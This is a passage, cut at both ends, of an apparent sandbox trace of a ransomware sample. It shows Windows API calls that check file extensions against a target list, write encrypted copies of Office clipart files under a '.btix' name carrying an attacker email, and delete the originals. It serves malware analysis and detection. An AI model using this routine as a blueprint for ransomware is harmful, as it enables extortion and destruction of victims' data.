Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 1 [0152.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0152.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0152.227] lstrlenW (lpString=".doc") returned 4 [0152.227] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.227] lstrlenW (lpString=".docx") returned 5 [0152.227] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.227] lstrlenW (lpString=".pdf") returned 4 [0152.227] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.227] lstrlenW (lpString=".xls") returned 4 [0152.227] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.227] lstrlenW (lpString=".xlsx") returned 5 [0152.227] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.227] lstrlenW (lpString=".ppt") returned 4 [0152.227] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0152.228] lstrlenW (lpString=".zip") returned 4 [0152.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.228] lstrlenW (lpString=".rar") returned 4 [0152.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.228] lstrlenW (lpString=".bz2") returned 4 [0152.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.228] lstrlenW (lpString=".7z") returned 3 [0152.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0152.228] lstrlenW (lpString=".dbf") returned 4 [0152.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0152.228] lstrlenW (lpString=".1cd") returned 4 [0152.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0152.228] lstrlenW (lpString=".jpg") returned 4 [0152.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0152.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0152.228] lstrlenW (lpString=".doc") returned 4 [0152.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.228] lstrlenW (lpString=".docx") returned 5 [0152.228] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.228] lstrlenW (lpString=".pdf") returned 4 [0152.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.228] lstrlenW (lpString=".xls") returned 4 [0152.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.228] lstrlenW (lpString=".xlsx") returned 5 [0152.228] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.228] lstrlenW (lpString=".ppt") returned 4 [0152.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0152.228] lstrlenW (lpString=".zip") returned 4 [0152.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.229] lstrlenW (lpString=".rar") returned 4 [0152.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.229] lstrlenW (lpString=".bz2") returned 4 [0152.229] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.229] lstrlenW (lpString=".7z") returned 3 [0152.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0152.229] lstrlenW (lpString=".dbf") returned 4 [0152.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0152.229] lstrlenW (lpString=".1cd") returned 4 [0152.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0152.229] lstrlenW (lpString=".jpg") returned 4 [0152.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.229] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.229] lstrlenW (lpString="J0105384.WMF") returned 12 [0152.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0152.229] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=5880) returned 1 [0152.229] CloseHandle (hObject=0x348) returned 1 [0152.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 0x220 [0152.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0152.230] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.230] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0152.232] GetLastError () returned 0x0 [0152.232] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x16f8, lpOverlapped=0x0) returned 1 [0152.233] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1700, lpOverlapped=0x0) returned 1 [0152.234] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.234] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.234] SetEndOfFile (hFile=0x378) returned 1 [0152.234] CloseHandle (hObject=0x378) returned 1 [0152.234] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.234] SetEndOfFile (hFile=0x348) returned 1 [0152.235] CloseHandle (hObject=0x348) returned 1 [0152.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.235] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 1 [0152.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0152.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0152.235] lstrlenW (lpString=".doc") returned 4 [0152.236] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.236] lstrlenW (lpString=".docx") returned 5 [0152.236] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0152.236] lstrlenW (lpString=".pdf") returned 4 [0152.236] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.236] lstrlenW (lpString=".xls") returned 4 [0152.236] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.236] lstrlenW (lpString=".xlsx") returned 5 [0152.236] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0152.236] lstrlenW (lpString=".ppt") returned 4 [0152.236] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0152.236] lstrlenW (lpString=".zip") returned 4 [0152.236] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.236] lstrlenW (lpString=".rar") returned 4 [0152.236] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.236] lstrlenW (lpString=".bz2") returned 4 [0152.236] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.236] lstrlenW (lpString=".7z") returned 3 [0152.236] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0152.236] lstrlenW (lpString=".dbf") returned 4 [0152.236] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0152.236] lstrlenW (lpString=".1cd") returned 4 [0152.236] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0152.236] lstrlenW (lpString=".jpg") returned 4 [0152.236] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0152.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0152.237] lstrlenW (lpString=".doc") returned 4 [0152.237] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.237] lstrlenW (lpString=".docx") returned 5 [0152.237] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0152.237] lstrlenW (lpString=".pdf") returned 4 [0152.237] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.237] lstrlenW (lpString=".xls") returned 4 [0152.237] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.237] lstrlenW (lpString=".xlsx") returned 5 [0152.237] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0152.237] lstrlenW (lpString=".ppt") returned 4 [0152.237] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0152.237] lstrlenW (lpString=".zip") returned 4 [0152.237] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.237] lstrlenW (lpString=".rar") returned 4 [0152.237] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.237] lstrlenW (lpString=".bz2") returned 4 [0152.237] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.237] lstrlenW (lpString=".7z") returned 3 [0152.237] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0152.237] lstrlenW (lpString=".dbf") returned 4 [0152.237] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0152.237] lstrlenW (lpString=".1cd") returned 4 [0152.237] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0152.237] lstrlenW (lpString=".jpg") returned 4 [0152.238] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.238] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.238] lstrlenW (lpString="J0105386.WMF") returned 12 [0152.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0152.238] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=5980) returned 1 [0152.238] CloseHandle (hObject=0x348) returned 1 [0152.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 0x220 [0152.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0152.239] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.239] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0152.240] GetLastError () returned 0x0 [0152.240] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x175c, lpOverlapped=0x0) returned 1 [0152.241] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1760, lpOverlapped=0x0) returned 1 [0152.480] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.481] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.481] SetEndOfFile (hFile=0x378) returned 1 [0152.547] CloseHandle (hObject=0x378) returned 1 [0152.549] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.549] SetEndOfFile (hFile=0x348) returned 1 [0152.550] CloseHandle (hObject=0x348) returned 1 [0152.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 1 [0152.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0152.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0152.550] lstrlenW (lpString=".doc") returned 4 [0152.550] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.550] lstrlenW (lpString=".docx") returned 5 [0152.550] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.551] lstrlenW (lpString=".pdf") returned 4 [0152.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.551] lstrlenW (lpString=".xls") returned 4 [0152.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.551] lstrlenW (lpString=".xlsx") returned 5 [0152.551] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.551] lstrlenW (lpString=".ppt") returned 4 [0152.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0152.551] lstrlenW (lpString=".zip") returned 4 [0152.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.551] lstrlenW (lpString=".rar") returned 4 [0152.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.551] lstrlenW (lpString=".bz2") returned 4 [0152.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.551] lstrlenW (lpString=".7z") returned 3 [0152.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0152.551] lstrlenW (lpString=".dbf") returned 4 [0152.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0152.551] lstrlenW (lpString=".1cd") returned 4 [0152.551] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0152.551] lstrlenW (lpString=".jpg") returned 4 [0152.551] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0152.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0152.551] lstrlenW (lpString=".doc") returned 4 [0152.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.551] lstrlenW (lpString=".docx") returned 5 [0152.551] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.551] lstrlenW (lpString=".pdf") returned 4 [0152.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.552] lstrlenW (lpString=".xls") returned 4 [0152.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.552] lstrlenW (lpString=".xlsx") returned 5 [0152.552] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.552] lstrlenW (lpString=".ppt") returned 4 [0152.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0152.552] lstrlenW (lpString=".zip") returned 4 [0152.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.552] lstrlenW (lpString=".rar") returned 4 [0152.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.552] lstrlenW (lpString=".bz2") returned 4 [0152.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.552] lstrlenW (lpString=".7z") returned 3 [0152.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0152.552] lstrlenW (lpString=".dbf") returned 4 [0152.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0152.552] lstrlenW (lpString=".1cd") returned 4 [0152.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0152.552] lstrlenW (lpString=".jpg") returned 4 [0152.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.552] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.552] lstrlenW (lpString="J0105600.WMF") returned 12 [0152.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0152.553] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=8680) returned 1 [0152.553] CloseHandle (hObject=0x348) returned 1 [0152.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf")) returned 0x220 [0152.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0152.553] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.553] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0152.554] GetLastError () returned 0x0 [0152.554] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x21e8, lpOverlapped=0x0) returned 1 [0152.556] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x21f0, lpOverlapped=0x0) returned 1 [0152.557] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.557] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.557] SetEndOfFile (hFile=0x378) returned 1 [0152.557] CloseHandle (hObject=0x378) returned 1 [0152.557] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.557] SetEndOfFile (hFile=0x348) returned 1 [0152.558] CloseHandle (hObject=0x348) returned 1 [0152.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.558] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf")) returned 1 [0152.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0152.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0152.558] lstrlenW (lpString=".doc") returned 4 [0152.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.559] lstrlenW (lpString=".docx") returned 5 [0152.559] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.559] lstrlenW (lpString=".pdf") returned 4 [0152.559] lstrcmpiW (lpString1=".pdf", 